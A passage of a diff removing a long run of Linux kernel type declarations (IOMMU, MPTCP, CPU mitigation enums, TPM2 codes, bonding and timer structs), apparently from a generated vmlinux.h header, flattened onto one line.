code; -}; - -typedef int (*iommu_fault_handler_t)(struct iommu_domain *, struct device *, long unsigned int, int, void *); - -struct iommu_domain_geometry { - dma_addr_t aperture_start; - dma_addr_t aperture_end; - bool force_aperture; -}; - -struct iommu_dma_cookie; - -struct iommu_domain { - unsigned int type; - const struct iommu_domain_ops *ops; - long unsigned int pgsize_bitmap; - iommu_fault_handler_t handler; - void *handler_token; - struct iommu_domain_geometry geometry; - struct iommu_dma_cookie *iova_cookie; -}; - -typedef int (*iommu_dev_fault_handler_t)(struct iommu_fault *, void *); - -struct iommu_iotlb_gather; - -struct iommu_domain_ops { - int (*attach_dev)(struct iommu_domain *, struct device *); - void (*detach_dev)(struct iommu_domain *, struct device *); - int (*map)(struct iommu_domain *, long unsigned int, phys_addr_t, size_t, int, gfp_t); - int (*map_pages)(struct iommu_domain *, long unsigned int, phys_addr_t, size_t, size_t, int, gfp_t, size_t *); - size_t (*unmap)(struct iommu_domain *, long unsigned int, size_t, struct iommu_iotlb_gather *); - size_t (*unmap_pages)(struct iommu_domain *, long unsigned int, size_t, size_t, struct iommu_iotlb_gather *); - void (*flush_iotlb_all)(struct iommu_domain *); - void (*iotlb_sync_map)(struct iommu_domain *, long unsigned int, size_t); - void (*iotlb_sync)(struct iommu_domain *, struct iommu_iotlb_gather *); - phys_addr_t (*iova_to_phys)(struct iommu_domain *, dma_addr_t); - bool (*enforce_cache_coherency)(struct iommu_domain *); - int (*enable_nesting)(struct iommu_domain *); - int (*set_pgtable_quirks)(struct iommu_domain *, long unsigned int); - void (*free)(struct iommu_domain *); -}; - -struct iommu_iotlb_gather { - long unsigned int start; - long unsigned int end; - size_t pgsize; - struct list_head freelist; - bool queued; -}; - -struct iommu_device { - struct list_head list; - const struct iommu_ops *ops; - struct fwnode_handle *fwnode; - struct device *dev; -}; - -struct iommu_sva { - struct device *dev; -}; - -struct iommu_fault_event { - struct iommu_fault fault; - struct list_head list; -}; - -struct iommu_fault_param { - iommu_dev_fault_handler_t handler; - void *data; - struct list_head faults; - struct mutex lock; -}; - -struct iommu_fwspec { - const struct iommu_ops *ops; - struct fwnode_handle *iommu_fwnode; - u32 flags; - unsigned int num_ids; - u32 ids[0]; -}; - -struct pcie_device { - int irq; - struct pci_dev *port; - u32 service; - void *priv_data; - struct device device; -}; - -struct pcie_port_service_driver { - const char *name; - int (*probe)(struct pcie_device *); - void (*remove)(struct pcie_device *); - int (*suspend)(struct pcie_device *); - int (*resume_noirq)(struct pcie_device *); - int (*resume)(struct pcie_device *); - int (*runtime_suspend)(struct pcie_device *); - int (*runtime_resume)(struct pcie_device *); - int (*slot_reset)(struct pcie_device *); - int port_type; - u32 service; - struct device_driver driver; -}; - -struct pci_dynid { - struct list_head node; - struct pci_device_id id; -}; - -struct drv_dev_and_id { - struct pci_driver *drv; - struct pci_dev *dev; - const struct pci_device_id *id; -}; - -enum acpi_reconfig_event { - ACPI_RECONFIG_DEVICE_ADD = 0, - ACPI_RECONFIG_DEVICE_REMOVE = 1, -}; - -struct platform_device_info { - struct device *parent; - struct fwnode_handle *fwnode; - bool of_node_reused; - const char *name; - int id; - const struct resource *res; - unsigned int num_res; - const void *data; - size_t size_data; - u64 dma_mask; - const struct property_entry *properties; -}; - -enum acpi_return_package_types { - ACPI_PTYPE1_FIXED = 1, - ACPI_PTYPE1_VAR = 2, - ACPI_PTYPE1_OPTION = 3, - ACPI_PTYPE2 = 4, - ACPI_PTYPE2_COUNT = 5, - ACPI_PTYPE2_PKG_COUNT = 6, - ACPI_PTYPE2_FIXED = 7, - ACPI_PTYPE2_MIN = 8, - ACPI_PTYPE2_REV_FIXED = 9, - ACPI_PTYPE2_FIX_VAR = 10, - ACPI_PTYPE2_VAR_VAR = 11, - ACPI_PTYPE2_UUID_PAIR = 12, - ACPI_PTYPE_CUSTOM = 13, -}; - -struct kbdiacruc { - unsigned int diacr; - unsigned int base; - unsigned int result; -}; - -struct devlink_fmsg; - -struct devlink_health_reporter_ops { - char *name; - int (*recover)(struct devlink_health_reporter *, void *, struct netlink_ext_ack *); - int (*dump)(struct devlink_health_reporter *, struct devlink_fmsg *, void *, struct netlink_ext_ack *); - int (*diagnose)(struct devlink_health_reporter *, struct devlink_fmsg *, struct netlink_ext_ack *); - int (*test)(struct devlink_health_reporter *, struct netlink_ext_ack *); -}; - -struct nsim_dev_dummy_reporter_ctx { - char *break_msg; -}; - -enum inet_csk_ack_state_t { - ICSK_ACK_SCHED = 1, - ICSK_ACK_TIMER = 2, - ICSK_ACK_PUSHED = 4, - ICSK_ACK_PUSHED2 = 8, - ICSK_ACK_NOW = 16, -}; - -struct mptcp_ext { - union { - u64 data_ack; - u32 data_ack32; - }; - u64 data_seq; - u32 subflow_seq; - u16 data_len; - __sum16 csum; - u8 use_map: 1; - u8 dsn64: 1; - u8 data_fin: 1; - u8 use_ack: 1; - u8 ack64: 1; - u8 mpc_map: 1; - u8 frozen: 1; - u8 reset_transient: 1; - u8 reset_reason: 4; - u8 csum_reqd: 1; - u8 infinite_map: 1; -}; - -struct mptcp_out_options { - u16 suboptions; - struct mptcp_rm_list rm_list; - u8 join_id; - u8 backup; - u8 reset_reason: 4; - u8 reset_transient: 1; - u8 csum_reqd: 1; - u8 allow_join_id0: 1; - union { - struct { - u64 sndr_key; - u64 rcvr_key; - u64 data_seq; - u32 subflow_seq; - u16 data_len; - __sum16 csum; - }; - struct { - struct mptcp_addr_info addr; - u64 ahmac; - }; - struct { - struct mptcp_ext ext_copy; - u64 fail_seq; - }; - struct { - u32 nonce; - u32 token; - u64 thmac; - u8 hmac[20]; - }; - }; -}; - -struct mptcp_options_received { - u64 sndr_key; - u64 rcvr_key; - u64 data_ack; - u64 data_seq; - u32 subflow_seq; - u16 data_len; - __sum16 csum; - u16 suboptions; - u32 token; - u32 nonce; - u16 use_map: 1; - u16 dsn64: 1; - u16 data_fin: 1; - u16 use_ack: 1; - u16 ack64: 1; - u16 mpc_map: 1; - u16 reset_reason: 4; - u16 reset_transient: 1; - u16 echo: 1; - u16 backup: 1; - u16 deny_join_id0: 1; - u16 __unused: 2; - u8 join_id; - u64 thmac; - u8 hmac[20]; - struct mptcp_addr_info addr; - struct mptcp_rm_list rm_list; - u64 ahmac; - u64 fail_seq; -}; - -struct csum_pseudo_header { - __be64 data_seq; - __be32 subflow_seq; - __be16 data_len; - __sum16 csum; -}; - -struct mptcp_subflow_request_sock { - struct tcp_request_sock sk; - u16 mp_capable: 1; - u16 mp_join: 1; - u16 backup: 1; - u16 csum_reqd: 1; - u16 allow_join_id0: 1; - u8 local_id; - u8 remote_id; - u64 local_key; - u64 idsn; - u32 token; - u32 ssn_offset; - u64 thmac; - u32 local_nonce; - u32 remote_nonce; - struct mptcp_sock *msk; - struct hlist_nulls_node token_node; -}; - -struct mptcp_delegated_action { - struct napi_struct napi; - struct list_head head; -}; - -enum spectre_v2_mitigation { - SPECTRE_V2_NONE = 0, - SPECTRE_V2_RETPOLINE = 1, - SPECTRE_V2_LFENCE = 2, - SPECTRE_V2_EIBRS = 3, - SPECTRE_V2_EIBRS_RETPOLINE = 4, - SPECTRE_V2_EIBRS_LFENCE = 5, - SPECTRE_V2_IBRS = 6, -}; - -enum spectre_v2_user_mitigation { - SPECTRE_V2_USER_NONE = 0, - SPECTRE_V2_USER_STRICT = 1, - SPECTRE_V2_USER_STRICT_PREFERRED = 2, - SPECTRE_V2_USER_PRCTL = 3, - SPECTRE_V2_USER_SECCOMP = 4, -}; - -enum ssb_mitigation { - SPEC_STORE_BYPASS_NONE = 0, - SPEC_STORE_BYPASS_DISABLE = 1, - SPEC_STORE_BYPASS_PRCTL = 2, - SPEC_STORE_BYPASS_SECCOMP = 3, -}; - -enum l1tf_mitigations { - L1TF_MITIGATION_OFF = 0, - L1TF_MITIGATION_FLUSH_NOWARN = 1, - L1TF_MITIGATION_FLUSH = 2, - L1TF_MITIGATION_FLUSH_NOSMT = 3, - L1TF_MITIGATION_FULL = 4, - L1TF_MITIGATION_FULL_FORCE = 5, -}; - -enum mds_mitigations { - MDS_MITIGATION_OFF = 0, - MDS_MITIGATION_FULL = 1, - MDS_MITIGATION_VMWERV = 2, -}; - -enum cpuhp_smt_control { - CPU_SMT_ENABLED = 0, - CPU_SMT_DISABLED = 1, - CPU_SMT_FORCE_DISABLED = 2, - CPU_SMT_NOT_SUPPORTED = 3, - CPU_SMT_NOT_IMPLEMENTED = 4, -}; - -enum vmx_l1d_flush_state { - VMENTER_L1D_FLUSH_AUTO = 0, - VMENTER_L1D_FLUSH_NEVER = 1, - VMENTER_L1D_FLUSH_COND = 2, - VMENTER_L1D_FLUSH_ALWAYS = 3, - VMENTER_L1D_FLUSH_EPT_DISABLED = 4, - VMENTER_L1D_FLUSH_NOT_REQUIRED = 5, -}; - -enum x86_hypervisor_type { - X86_HYPER_NATIVE = 0, - X86_HYPER_VMWARE = 1, - X86_HYPER_MS_HYPERV = 2, - X86_HYPER_XEN_PV = 3, - X86_HYPER_XEN_HVM = 4, - X86_HYPER_KVM = 5, - X86_HYPER_JAILHOUSE = 6, - X86_HYPER_ACRN = 7, -}; - -enum taa_mitigations { - TAA_MITIGATION_OFF = 0, - TAA_MITIGATION_UCODE_NEEDED = 1, - TAA_MITIGATION_VERW = 2, - TAA_MITIGATION_TSX_DISABLED = 3, -}; - -enum mmio_mitigations { - MMIO_MITIGATION_OFF = 0, - MMIO_MITIGATION_UCODE_NEEDED = 1, - MMIO_MITIGATION_VERW = 2, -}; - -enum srbds_mitigations { - SRBDS_MITIGATION_OFF = 0, - SRBDS_MITIGATION_UCODE_NEEDED = 1, - SRBDS_MITIGATION_FULL = 2, - SRBDS_MITIGATION_TSX_OFF = 3, - SRBDS_MITIGATION_HYPERVISOR = 4, -}; - -enum l1d_flush_mitigations { - L1D_FLUSH_OFF = 0, - L1D_FLUSH_ON = 1, -}; - -enum spectre_v1_mitigation { - SPECTRE_V1_MITIGATION_NONE = 0, - SPECTRE_V1_MITIGATION_AUTO = 1, -}; - -enum retbleed_mitigation { - RETBLEED_MITIGATION_NONE = 0, - RETBLEED_MITIGATION_UNRET = 1, - RETBLEED_MITIGATION_IBPB = 2, - RETBLEED_MITIGATION_IBRS = 3, - RETBLEED_MITIGATION_EIBRS = 4, -}; - -enum retbleed_mitigation_cmd { - RETBLEED_CMD_OFF = 0, - RETBLEED_CMD_AUTO = 1, - RETBLEED_CMD_UNRET = 2, - RETBLEED_CMD_IBPB = 3, -}; - -enum spectre_v2_mitigation_cmd { - SPECTRE_V2_CMD_NONE = 0, - SPECTRE_V2_CMD_AUTO = 1, - SPECTRE_V2_CMD_FORCE = 2, - SPECTRE_V2_CMD_RETPOLINE = 3, - SPECTRE_V2_CMD_RETPOLINE_GENERIC = 4, - SPECTRE_V2_CMD_RETPOLINE_LFENCE = 5, - SPECTRE_V2_CMD_EIBRS = 6, - SPECTRE_V2_CMD_EIBRS_RETPOLINE = 7, - SPECTRE_V2_CMD_EIBRS_LFENCE = 8, - SPECTRE_V2_CMD_IBRS = 9, -}; - -enum spectre_v2_user_cmd { - SPECTRE_V2_USER_CMD_NONE = 0, - SPECTRE_V2_USER_CMD_AUTO = 1, - SPECTRE_V2_USER_CMD_FORCE = 2, - SPECTRE_V2_USER_CMD_PRCTL = 3, - SPECTRE_V2_USER_CMD_PRCTL_IBPB = 4, - SPECTRE_V2_USER_CMD_SECCOMP = 5, - SPECTRE_V2_USER_CMD_SECCOMP_IBPB = 6, -}; - -enum ssb_mitigation_cmd { - SPEC_STORE_BYPASS_CMD_NONE = 0, - SPEC_STORE_BYPASS_CMD_AUTO = 1, - SPEC_STORE_BYPASS_CMD_ON = 2, - SPEC_STORE_BYPASS_CMD_PRCTL = 3, - SPEC_STORE_BYPASS_CMD_SECCOMP = 4, -}; - -typedef __kernel_mode_t mode_t; - -struct dx_hash_info { - u32 hash; - u32 minor_hash; - int hash_version; - u32 *seed; -}; - -struct orlov_stats { - __u64 free_clusters; - __u32 free_inodes; - __u32 used_dirs; -}; - -enum key_state { - KEY_IS_UNINSTANTIATED = 0, - KEY_IS_POSITIVE = 1, -}; - -struct key_user { - struct rb_node node; - struct mutex cons_lock; - spinlock_t lock; - refcount_t usage; - atomic_t nkeys; - atomic_t nikeys; - kuid_t uid; - int qnkeys; - int qnbytes; -}; - -struct user_key_payload { - struct callback_head rcu; - short unsigned int datalen; - long: 0; - char data[0]; -}; - -struct ima_max_digest_data { - struct ima_digest_data hdr; - u8 digest[64]; -}; - -struct crypto_cipher { - struct crypto_tfm base; -}; - -struct crypto_cipher_spawn { - struct crypto_spawn base; -}; - -struct skcipher_alg { - int (*setkey)(struct crypto_skcipher *, const u8 *, unsigned int); - int (*encrypt)(struct skcipher_request *); - int (*decrypt)(struct skcipher_request *); - int (*init)(struct crypto_skcipher *); - void (*exit)(struct crypto_skcipher *); - unsigned int min_keysize; - unsigned int max_keysize; - unsigned int ivsize; - unsigned int chunksize; - unsigned int walksize; - struct crypto_alg base; -}; - -struct skcipher_instance { - void (*free)(struct skcipher_instance *); - union { - struct { - char head[64]; - struct crypto_instance base; - } s; - struct skcipher_alg alg; - }; -}; - -struct crypto_skcipher_spawn { - struct crypto_spawn base; -}; - -struct skcipher_walk { - union { - struct { - struct page *page; - long unsigned int offset; - } phys; - struct { - u8 *page; - void *addr; - } virt; - } src; - union { - struct { - struct page *page; - long unsigned int offset; - } phys; - struct { - u8 *page; - void *addr; - } virt; - } dst; - struct scatter_walk in; - unsigned int nbytes; - struct scatter_walk out; - unsigned int total; - struct list_head buffers; - u8 *page; - u8 *buffer; - u8 *oiv; - void *iv; - unsigned int ivsize; - int flags; - unsigned int blocksize; - unsigned int stride; - unsigned int alignmask; -}; - -struct skcipher_ctx_simple { - struct crypto_cipher *cipher; -}; - -struct crypto_rfc3686_ctx { - struct crypto_skcipher *child; - u8 nonce[4]; -}; - -struct crypto_rfc3686_req_ctx { - u8 iv[16]; - struct skcipher_request subreq; -}; - -enum tpm2_structures { - TPM2_ST_NO_SESSIONS = 32769, - TPM2_ST_SESSIONS = 32770, -}; - -enum tpm2_return_codes { - TPM2_RC_SUCCESS = 0, - TPM2_RC_HASH = 131, - TPM2_RC_HANDLE = 139, - TPM2_RC_INITIALIZE = 256, - TPM2_RC_FAILURE = 257, - TPM2_RC_DISABLED = 288, - TPM2_RC_UPGRADE = 301, - TPM2_RC_COMMAND_CODE = 323, - TPM2_RC_TESTING = 2314, - TPM2_RC_REFERENCE_H0 = 2320, - TPM2_RC_RETRY = 2338, -}; - -enum tpm2_command_codes { - TPM2_CC_FIRST = 287, - TPM2_CC_HIERARCHY_CONTROL = 289, - TPM2_CC_HIERARCHY_CHANGE_AUTH = 297, - TPM2_CC_CREATE_PRIMARY = 305, - TPM2_CC_SEQUENCE_COMPLETE = 318, - TPM2_CC_SELF_TEST = 323, - TPM2_CC_STARTUP = 324, - TPM2_CC_SHUTDOWN = 325, - TPM2_CC_NV_READ = 334, - TPM2_CC_CREATE = 339, - TPM2_CC_LOAD = 343, - TPM2_CC_SEQUENCE_UPDATE = 348, - TPM2_CC_UNSEAL = 350, - TPM2_CC_CONTEXT_LOAD = 353, - TPM2_CC_CONTEXT_SAVE = 354, - TPM2_CC_FLUSH_CONTEXT = 357, - TPM2_CC_VERIFY_SIGNATURE = 375, - TPM2_CC_GET_CAPABILITY = 378, - TPM2_CC_GET_RANDOM = 379, - TPM2_CC_PCR_READ = 382, - TPM2_CC_PCR_EXTEND = 386, - TPM2_CC_EVENT_SEQUENCE_COMPLETE = 389, - TPM2_CC_HASH_SEQUENCE_START = 390, - TPM2_CC_CREATE_LOADED = 401, - TPM2_CC_LAST = 403, -}; - -enum tpm2_capabilities { - TPM2_CAP_HANDLES = 1, - TPM2_CAP_COMMANDS = 2, - TPM2_CAP_PCRS = 5, - TPM2_CAP_TPM_PROPERTIES = 6, -}; - -enum tpm2_cc_attrs { - TPM2_CC_ATTR_CHANDLES = 25, - TPM2_CC_ATTR_RHANDLE = 28, -}; - -struct tpm_header { - __be16 tag; - __be32 length; - union { - __be32 ordinal; - __be32 return_code; - }; -} __attribute__((packed)); - -enum tpm_buf_flags { - TPM_BUF_OVERFLOW = 1, -}; - -struct tpm_buf { - unsigned int flags; - u8 *data; -}; - -enum tpm2_handle_types { - TPM2_HT_HMAC_SESSION = 33554432, - TPM2_HT_POLICY_SESSION = 50331648, - TPM2_HT_TRANSIENT = 2147483648, -}; - -struct tpm2_context { - __be64 sequence; - __be32 saved_handle; - __be32 hierarchy; - __be16 blob_size; -} __attribute__((packed)); - -struct tpm2_cap_handles { - u8 more_data; - __be32 capability; - __be32 count; - __be32 handles[0]; -} __attribute__((packed)); - -struct mac_addr { - u8 mac_addr_value[6]; -}; - -typedef enum { - AD_RX_DUMMY = 0, - AD_RX_INITIALIZE = 1, - AD_RX_PORT_DISABLED = 2, - AD_RX_LACP_DISABLED = 3, - AD_RX_EXPIRED = 4, - AD_RX_DEFAULTED = 5, - AD_RX_CURRENT = 6, -} rx_states_t; - -typedef enum { - AD_PERIODIC_DUMMY = 0, - AD_NO_PERIODIC = 1, - AD_FAST_PERIODIC = 2, - AD_SLOW_PERIODIC = 3, - AD_PERIODIC_TX = 4, -} periodic_states_t; - -typedef enum { - AD_MUX_DUMMY = 0, - AD_MUX_DETACHED = 1, - AD_MUX_WAITING = 2, - AD_MUX_ATTACHED = 3, - AD_MUX_COLLECTING_DISTRIBUTING = 4, -} mux_states_t; - -typedef enum { - AD_TX_DUMMY = 0, - AD_TRANSMIT = 1, -} tx_states_t; - -typedef enum { - AD_CHURN_MONITOR = 0, - AD_CHURN = 1, - AD_NO_CHURN = 2, -} churn_state_t; - -struct lacpdu { - u8 subtype; - u8 version_number; - u8 tlv_type_actor_info; - u8 actor_information_length; - __be16 actor_system_priority; - struct mac_addr actor_system; - __be16 actor_key; - __be16 actor_port_priority; - __be16 actor_port; - u8 actor_state; - u8 reserved_3_1[3]; - u8 tlv_type_partner_info; - u8 partner_information_length; - __be16 partner_system_priority; - struct mac_addr partner_system; - __be16 partner_key; - __be16 partner_port_priority; - __be16 partner_port; - u8 partner_state; - u8 reserved_3_2[3]; - u8 tlv_type_collector_info; - u8 collector_information_length; - __be16 collector_max_delay; - u8 reserved_12[12]; - u8 tlv_type_terminator; - u8 terminator_length; - u8 reserved_50[50]; -}; - -struct bond_3ad_stats { - atomic64_t lacpdu_rx; - atomic64_t lacpdu_tx; - atomic64_t lacpdu_unknown_rx; - atomic64_t lacpdu_illegal_rx; - atomic64_t marker_rx; - atomic64_t marker_tx; - atomic64_t marker_resp_rx; - atomic64_t marker_resp_tx; - atomic64_t marker_unknown_rx; -}; - -struct port___2; - -struct slave; - -struct aggregator { - struct mac_addr aggregator_mac_address; - u16 aggregator_identifier; - bool is_individual; - u16 actor_admin_aggregator_key; - u16 actor_oper_aggregator_key; - struct mac_addr partner_system; - u16 partner_system_priority; - u16 partner_oper_aggregator_key; - u16 receive_state; - u16 transmit_state; - struct port___2 *lag_ports; - struct slave *slave; - u16 is_active; - u16 num_of_ports; -}; - -struct port_params { - struct mac_addr system; - u16 system_priority; - u16 key; - u16 port_number; - u16 port_priority; - u16 port_state; -}; - -struct port___2 { - u16 actor_port_number; - u16 actor_port_priority; - struct mac_addr actor_system; - u16 actor_system_priority; - u16 actor_port_aggregator_identifier; - bool ntt; - u16 actor_admin_port_key; - u16 actor_oper_port_key; - u8 actor_admin_port_state; - u8 actor_oper_port_state; - struct port_params partner_admin; - struct port_params partner_oper; - bool is_enabled; - u16 sm_vars; - rx_states_t sm_rx_state; - u16 sm_rx_timer_counter; - periodic_states_t sm_periodic_state; - u16 sm_periodic_timer_counter; - mux_states_t sm_mux_state; - u16 sm_mux_timer_counter; - tx_states_t sm_tx_state; - u16 sm_tx_timer_counter; - u16 sm_churn_actor_timer_counter; - u16 sm_churn_partner_timer_counter; - u32 churn_actor_count; - u32 churn_partner_count; - churn_state_t sm_churn_actor_state; - churn_state_t sm_churn_partner_state; - struct slave *slave; - struct aggregator *aggregator; - struct port___2 *next_port_in_aggregator; - u32 transaction_id; - struct lacpdu lacpdu; -}; - -struct tlb_slave_info { - u32 head; - u32 load; -}; - -struct bonding; - -struct ad_slave_info; - -struct slave { - struct net_device *dev; - struct bonding *bond; - int delay; - long unsigned int last_link_up; - long unsigned int last_tx; - long unsigned int last_rx; - long unsigned int target_last_arp_rx[16]; - s8 link; - s8 link_new_state; - u8 backup: 1; - u8 inactive: 1; - u8 should_notify: 1; - u8 should_notify_link: 1; - u8 duplex; - u32 original_mtu; - u32 link_failure_count; - u32 speed; - u16 queue_id; - u8 perm_hwaddr[32]; - int prio; - struct ad_slave_info *ad_info; - struct tlb_slave_info tlb_info; - struct delayed_work notify_work; - struct kobject kobj; - struct rtnl_link_stats64 slave_stats; -}; - -struct ad_system { - u16 sys_priority; - struct mac_addr sys_mac_addr; -}; - -struct ad_bond_info { - struct ad_system system; - struct bond_3ad_stats stats; - atomic_t agg_select_timer; - u16 aggregator_identifier; -}; - -struct ad_slave_info { - struct aggregator aggregator; - struct port___2 port; - struct bond_3ad_stats stats; - u16 id; -}; - -struct tlb_client_info { - struct slave *tx_slave; - u32 tx_bytes; - u32 load_history; - u32 next; - u32 prev; -}; - -struct rlb_client_info { - __be32 ip_src; - __be32 ip_dst; - u8 mac_src[6]; - u8 mac_dst[6]; - u32 used_next; - u32 used_prev; - u32 src_next; - u32 src_prev; - u32 src_first; - u8 assigned; - u8 ntt; - struct slave *slave; - short unsigned int vlan_id; -}; - -struct alb_bond_info { - struct tlb_client_info *tx_hashtbl; - u32 unbalanced_load; - atomic_t tx_rebalance_counter; - int lp_counter; - int rlb_enabled; - struct rlb_client_info *rx_hashtbl; - u32 rx_hashtbl_used_head; - u8 rx_ntt; - struct slave *rx_slave; - u8 primary_is_promisc; - u32 rlb_promisc_timeout_counter; - u32 rlb_update_delay_counter; - u32 rlb_update_retry_counter; - u8 rlb_rebalance; -}; - -struct bond_params { - int mode; - int xmit_policy; - int miimon; - u8 num_peer_notif; - u8 missed_max; - int arp_interval; - int arp_validate; - int arp_all_targets; - int use_carrier; - int fail_over_mac; - int updelay; - int downdelay; - int peer_notif_delay; - int lacp_active; - int lacp_fast; - unsigned int min_links; - int ad_select; - char primary[16]; - int primary_reselect; - __be32 arp_targets[16]; - int tx_queues; - int all_slaves_active; - int resend_igmp; - int lp_interval; - int packets_per_slave; - int tlb_dynamic_lb; - struct reciprocal_value reciprocal_packets_per_slave; - u16 ad_actor_sys_prio; - u16 ad_user_port_key; - struct in6_addr ns_targets[16]; - u8 ad_actor_system[8]; -}; - -struct bond_up_slave; - -struct bonding { - struct net_device *dev; - struct slave *curr_active_slave; - struct slave *current_arp_slave; - struct slave *primary_slave; - struct bond_up_slave *usable_slaves; - struct bond_up_slave *all_slaves; - bool force_primary; - s32 slave_cnt; - int (*recv_probe)(const struct sk_buff *, struct bonding *, struct slave *); - spinlock_t mode_lock; - spinlock_t stats_lock; - u8 send_peer_notif; - u8 igmp_retrans; - struct proc_dir_entry *proc_entry; - char proc_file_name[16]; - struct list_head bond_list; - u32 *rr_tx_counter; - struct ad_bond_info ad_info; - struct alb_bond_info alb_info; - struct bond_params params; - struct workqueue_struct *wq; - struct delayed_work mii_work; - struct delayed_work arp_work; - struct delayed_work alb_work; - struct delayed_work ad_work; - struct delayed_work mcast_work; - struct delayed_work slave_arr_work; - struct dentry *debug_dir; - struct rtnl_link_stats64 bond_stats; - struct bpf_prog *xdp_prog; -}; - -struct bond_up_slave { - unsigned int count; - struct callback_head rcu; - struct slave *arr[0]; -}; - -struct slave_attribute { - struct attribute attr; - ssize_t (*show)(struct slave *, char *); -}; - -struct features_reply_data { - struct ethnl_reply_data base; - u32 hw[2]; - u32 wanted[2]; - u32 active[2]; - u32 nochange[2]; - u32 all[2]; -}; - -enum { - SOCK_WAKE_IO = 0, - SOCK_WAKE_WAITD = 1, - SOCK_WAKE_SPACE = 2, - SOCK_WAKE_URG = 3, -}; - -union tcp_word_hdr { - struct tcphdr hdr; - __be32 words[5]; -}; - -enum { - TCP_FLAG_CWR = 32768, - TCP_FLAG_ECE = 16384, - TCP_FLAG_URG = 8192, - TCP_FLAG_ACK = 4096, - TCP_FLAG_PSH = 2048, - TCP_FLAG_RST = 1024, - TCP_FLAG_SYN = 512, - TCP_FLAG_FIN = 256, - TCP_RESERVED_BITS = 15, - TCP_DATA_OFFSET = 240, -}; - -enum tcp_fastopen_client_fail { - TFO_STATUS_UNSPEC = 0, - TFO_COOKIE_UNAVAILABLE = 1, - TFO_DATA_NOT_ACKED = 2, - TFO_SYN_RETRANSMITTED = 3, -}; - -struct tcp_sack_block_wire { - __be32 start_seq; - __be32 end_seq; -}; - -enum { - BPF_SOCK_OPS_RTO_CB_FLAG = 1, - BPF_SOCK_OPS_RETRANS_CB_FLAG = 2, - BPF_SOCK_OPS_STATE_CB_FLAG = 4, - BPF_SOCK_OPS_RTT_CB_FLAG = 8, - BPF_SOCK_OPS_PARSE_ALL_HDR_OPT_CB_FLAG = 16, - BPF_SOCK_OPS_PARSE_UNKNOWN_HDR_OPT_CB_FLAG = 32, - BPF_SOCK_OPS_WRITE_HDR_OPT_CB_FLAG = 64, - BPF_SOCK_OPS_ALL_CB_FLAGS = 127, -}; - -enum { - BPF_SOCK_OPS_VOID = 0, - BPF_SOCK_OPS_TIMEOUT_INIT = 1, - BPF_SOCK_OPS_RWND_INIT = 2, - BPF_SOCK_OPS_TCP_CONNECT_CB = 3, - BPF_SOCK_OPS_ACTIVE_ESTABLISHED_CB = 4, - BPF_SOCK_OPS_PASSIVE_ESTABLISHED_CB = 5, - BPF_SOCK_OPS_NEEDS_ECN = 6, - BPF_SOCK_OPS_BASE_RTT = 7, - BPF_SOCK_OPS_RTO_CB = 8, - BPF_SOCK_OPS_RETRANS_CB = 9, - BPF_SOCK_OPS_STATE_CB = 10, - BPF_SOCK_OPS_TCP_LISTEN_CB = 11, - BPF_SOCK_OPS_RTT_CB = 12, - BPF_SOCK_OPS_PARSE_HDR_OPT_CB = 13, - BPF_SOCK_OPS_HDR_OPT_LEN_CB = 14, - BPF_SOCK_OPS_WRITE_HDR_OPT_CB = 15, -}; - -enum tcp_queue { - TCP_FRAG_IN_WRITE_QUEUE = 0, - TCP_FRAG_IN_RTX_QUEUE = 1, -}; - -enum tcp_ca_ack_event_flags { - CA_ACK_SLOWPATH = 1, - CA_ACK_WIN_UPDATE = 2, - CA_ACK_ECE = 4, -}; - -enum tcp_chrono { - TCP_CHRONO_UNSPEC = 0, - TCP_CHRONO_BUSY = 1, - TCP_CHRONO_RWND_LIMITED = 2, - TCP_CHRONO_SNDBUF_LIMITED = 3, - __TCP_CHRONO_MAX = 4, -}; - -enum { - SCM_TSTAMP_SND = 0, - SCM_TSTAMP_SCHED = 1, - SCM_TSTAMP_ACK = 2, -}; - -struct tcp_sacktag_state { - u64 first_sackt; - u64 last_sackt; - u32 reord; - u32 sack_delivered; - int flag; - unsigned int mss_now; - struct rate_sample *rate; -}; - -enum x86_pf_error_code { - X86_PF_PROT = 1, - X86_PF_WRITE = 2, - X86_PF_USER = 4, - X86_PF_RSVD = 8, - X86_PF_INSTR = 16, - X86_PF_PK = 32, - X86_PF_SGX = 32768, -}; - -struct trace_event_raw_emulate_vsyscall { - struct trace_entry ent; - int nr; - char __data[0]; -}; - -struct trace_event_data_offsets_emulate_vsyscall {}; - -typedef void (*btf_trace_emulate_vsyscall)(void *, int); - -enum { - EMULATE = 0, - XONLY = 1, - NONE___2 = 2, -}; - -struct cma { - long unsigned int base_pfn; - long unsigned int count; - long unsigned int *bitmap; - unsigned int order_per_bit; - spinlock_t lock; - char name[64]; - bool reserve_pages_on_error; -}; - -struct tm { - int tm_sec; - int tm_min; - int tm_hour; - int tm_mday; - int tm_mon; - long int tm_year; - int tm_wday; - int tm_yday; -}; - -typedef __kernel_timer_t timer_t; - -enum alarmtimer_type { - ALARM_REALTIME = 0, - ALARM_BOOTTIME = 1, - ALARM_NUMTYPE = 2, - ALARM_REALTIME_FREEZER = 3, - ALARM_BOOTTIME_FREEZER = 4, -}; - -enum alarmtimer_restart { - ALARMTIMER_NORESTART = 0, - ALARMTIMER_RESTART = 1, -}; - -struct alarm { - struct timerqueue_node node; - struct hrtimer timer; - enum alarmtimer_restart (*function)(struct alarm *, ktime_t); - enum alarmtimer_type type; - int state; - void *data; -}; - -struct cpu_timer { - struct timerqueue_node node; - struct timerqueue_head *head; - struct pid *pid; - struct list_head elist; - int firing; -}; - -struct k_clock; - -struct k_itimer { - struct list_head list; - struct hlist_node t_hash; - spinlock_t it_lock; - const struct k_clock *kclock; - clockid_t it_clock; - timer_t it_id; - int it_active; - s64 it_overrun; - s64 it_overrun_last; - int it_requeue_pending; - int it_sigev_notify; - ktime_t it_interval; - struct signal_struct *it_signal; - union { - struct pid *it_pid; - struct task_struct *it_process; - }; - struct sigqueue *sigq; - union { - struct { - struct hrtimer timer; - } real; - struct cpu_timer cpu; - struct { - struct alarm alarmtimer; - } alarm; - } it; - struct callback_head rcu; -}; - -struct k_clock { - int (*clock_getres)(const clockid_t, struct timespec64 *); - int (*clock_set)(const clockid_t, const struct timespec64 *); - int (*clock_get_timespec)(const clockid_t, struct timespec64 *); - ktime_t (*clock_get_ktime)(const clockid_t); - int (*clock_adj)(const clockid_t, struct __kernel_timex *); - int (*timer_create)(struct k_itimer *); - int (*nsleep)(const clockid_t, int, const struct timespec64 *); - int (*timer_set)(struct k_itimer *, int, struct itimerspec64 *, struct itimerspec64 *); - int (*timer_del)(struct k_itimer *); - void (*timer_get)(struct k_itimer *, struct itimerspec64 *); - void (*timer_rearm)(struct k_itimer *); - s64 (*timer_forward)(struct k_itimer *, ktime_t); - 